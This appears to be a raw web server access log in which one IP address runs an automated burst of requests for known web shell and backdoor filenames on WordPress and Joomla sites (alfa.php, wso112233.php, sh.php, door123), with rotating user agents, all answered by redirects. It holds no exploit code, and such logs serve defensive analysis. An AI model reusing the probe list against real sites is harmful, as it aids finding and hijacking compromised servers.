[27/Apr/2025:19:36:03 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:03 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:04 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:05 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:06 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:07 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:08 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:09 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:10 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:11 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:36:12 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:13 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:36:14 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:36:15 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" 